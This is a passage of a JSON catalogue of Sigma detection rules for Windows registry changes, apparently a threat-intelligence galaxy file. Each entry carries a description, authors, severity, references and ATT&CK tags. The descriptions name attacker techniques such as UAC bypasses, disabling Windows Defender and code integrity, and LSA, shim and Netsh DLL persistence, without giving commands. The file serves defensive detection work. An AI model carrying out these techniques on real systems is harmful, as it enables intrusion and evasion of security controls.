          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a",
      "value": "DHCP Callout DLL Installation"
    },
    {
      "description": "Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/06/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_office_disable_protected_view_features.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/",
          "https://admx.help/HKCU/software/policies/microsoft/office/16.0/excel/security/protectedview",
          "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_disable_protected_view_features.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a5c7a43f-6009-4a8c-80c5-32abf1c53ecc",
      "value": "Microsoft Office Protected View Disabled"
    },
    {
      "description": "Detects modifications to the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" where the value is set to \"0\" in order to hide user account from being listed on the logon screen.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_special_accounts.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd",
      "value": "Hiding User Account Via SpecialAccounts Registry Key"
    },
    {
      "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/30",
        "falsepositive": [
          "Legitimate custom SHIM installations will also trigger this rule"
        ],
        "filename": "registry_set_persistence_shim_database.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/",
          "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45",
      "value": "Potential Persistence Via Shim Database Modification"
    },
    {
      "description": "Bypasses User Account Control using a fileless method",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_bypass_uac_using_delegateexecute.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand",
          "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f",
      "value": "Bypass UAC Using DelegateExecute"
    },
    {
      "description": "Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_ie.yml",
        "level": "low",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ie.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3",
      "value": "Modification of IE Registry Settings"
    },
    {
      "description": "Detects that a powershell code is written to the registry as a service.",
      "meta": {
        "author": "oscd.community, Natalia Shornikova",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_powershell_as_service.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d",
      "value": "PowerShell as a Service in Registry"
    },
    {
      "description": "Detects .NET Framework CLR and .NET Core CLR \"cor_enable_profiling\" and \"cor_profiler\" variables being set and configured.",
      "meta": {
        "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research), Jimmy Bayne (@bohops)",
        "creation_date": "2020/09/10",
        "falsepositive": "No established falsepositives",
        "filename": "registry_set_enabling_cor_profiler_env_variables.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.sans.org/cyber-security-summit/archives",
          "https://learn.microsoft.com/en-us/dotnet/core/runtime-config/debugging-profiling",
          "https://twitter.com/jamieantisocial/status/1304520651248668673",
          "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.defense_evasion",
          "attack.t1574.012"
        ]
      },
      "related": [
        {
          "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f",
      "value": "Enabling COR Profiler Environment Variables"
    },
    {
      "description": "Detects a suspicious printer driver installation with an empty Manufacturer value",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/07/01",
        "falsepositive": [
          "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value"
        ],
        "filename": "registry_set_susp_printer_driver.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1410545674773467140",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1574",
          "cve.2021.1675"
        ]
      },
      "related": [
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0813366-0407-449a-9869-a2db1119dc41",
      "value": "Suspicious Printer Driver Empty Manufacturer"
    },
    {
      "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/06/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_timeproviders_dllname.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1547.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "61afc315-860c-4364-825d-0d62b2e91edc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e88a6ddc-74f7-463b-9b26-f69fc0d2ce85",
      "value": "Set TimeProviders DllName"
    },
    {
      "description": "Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message.\nBefore doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named \"Ime File\" with a DLL path.\nIMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.\n",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/11/21",
        "falsepositive": [
          "IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean."
        ],
        "filename": "registry_set_ime_non_default_extension.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_non_default_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b888e3f2-224d-4435-b00b-9dd66e9ea1f1",
      "value": "Uncommon Extension In Keyboard Layout IME File Registry Value"
    },
    {
      "description": "Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_suspicious_env_variables.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://infosec.exchange/@sbousseaden/109542254124022664",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suspicious_env_variables.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence"
        ]
      },
      "uuid": "966315ef-c5e1-4767-ba25-fce9c8de3660",
      "value": "Suspicious Environment Variable Has Been Registered"
    },
    {
      "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/07/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_fax_change_service_user.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf",
          "https://twitter.com/dottor_morte/status/1544652325570191361",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e3fdf743-f05b-4051-990a-b66919be1743",
      "value": "Change User Account Associated with the FAX Service"
    },
    {
      "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_administrative_share.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e",
      "value": "Disable Administrative Share Creation at Startup"
    },
    {
      "description": "Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_shim_database_susp_application.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
          "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database_susp_application.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bf344fea-d947-4ef4-9192-34d008315d3a",
      "value": "Suspicious Shim Database Patching Activity"
    },
    {
      "description": "Detects changes to the registry values related to outlook security settings",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "registry_set_office_outlook_security_settings.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md",
          "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_security_settings.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a",
      "value": "Outlook Security Settings Updated - Registry"
    },
    {
      "description": "Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/11/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_netsh_help_dll_persistence_susp_location.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/",
          "https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_netsh_help_dll_persistence_susp_location.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e7b18879-676e-4a0e-ae18-27039185a8e7",
      "value": "New Netsh Helper DLL Registered From A Suspicious Location"
    },
    {
      "description": "Detects disabling Windows Defender Exploit Guard Network Protection",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9",
      "value": "Disable Exploit Guard Network Protection on Windows Defender"
    },
    {
      "description": "Detects registry changes to Microsoft Office \"VBAWarning\" to a value of \"1\" which enables the execution of all macros, whether signed or unsigned.",
      "meta": {
        "author": "Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/05/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_office_vba_warnings_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/",
          "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/",
          "https://twitter.com/inversecos/status/1494174785621819397",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vba_warnings_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "91239011-fe3c-4b54-9f24-15c86bb65913",
      "value": "Office Macros Auto-Enabled"
    },
    {
      "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_persistence_lsa_extension.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1476286368385019906",
          "https://persistence-info.github.io/Data/lsaaextension.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_lsa_extension.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36",
      "value": "Potential Persistence Via LSA Extensions"
    },
    {
      "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_bypass_uac_using_eventviewer.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd",
          "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af",
      "value": "Bypass UAC Using Event Viewer"
    },
    {
      "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048",
      "meta": {
        "author": "EagleEye Team, Florian Roth (Nextron Systems), NVISO",
        "creation_date": "2020/05/13",
        "falsepositive": [
          "New printer port install on host"
        ],
        "filename": "registry_set_cve_2020_1048_new_printer_port.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://windows-internals.com/printdemon-cve-2020-1048/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567",
      "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)"
    },
    {
      "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_office_enable_dde.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1559.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "63647769-326d-4dde-a419-b925cc0caf42",
      "value": "Enable Microsoft Dynamic Data Exchange"
    },
    {
      "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "This rule is to explore new applications on an endpoint. False positives depends on the organization.",
          "Newly setup system.",
          "Legitimate installation of new application."
        ],
        "filename": "registry_set_new_application_appcompat.yml",
        "level": "informational",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.md",
          "https://github.com/OTRF/detection-hackathon-apt29/issues/1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1204.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d",
      "value": "New Application in AppCompat"
    },
    {
      "description": "Detects when an attacker or tool disables the  Windows Defender service (WinDefend) via the registry",
      "meta": {
        "author": "Ján Trenčanský, frack113, AlertIQ, Nasreddine Bencherchali",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Administrator actions"
        ],
        "filename": "registry_set_disable_windows_defender_service.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
          "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a",
      "value": "Windows Defender Service Disabled"
    },
    {
      "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl",
      "meta": {
        "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)",
        "creation_date": "2022/05/04",
        "falsepositive": [
          "Legitimate use of screen saver"
        ],
        "filename": "registry_set_scr_file_executed_by_rundll32.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/VakninHai/status/1517027824984547329",
          "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files",
          "https://twitter.com/pabraeken/status/998627081360695297",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce",
      "value": "ScreenSaver Registry Key Set"
    },
    {
      "description": "Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the \"Enabled\" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Anish Bogati",
        "creation_date": "2023/03/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/04e487c1828d76df3e834621f4f893ea756d5232/atomics/T1562.001/T1562.001.md#atomic-test-43---disable-hypervisor-enforced-code-integrity-hvci",
          "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
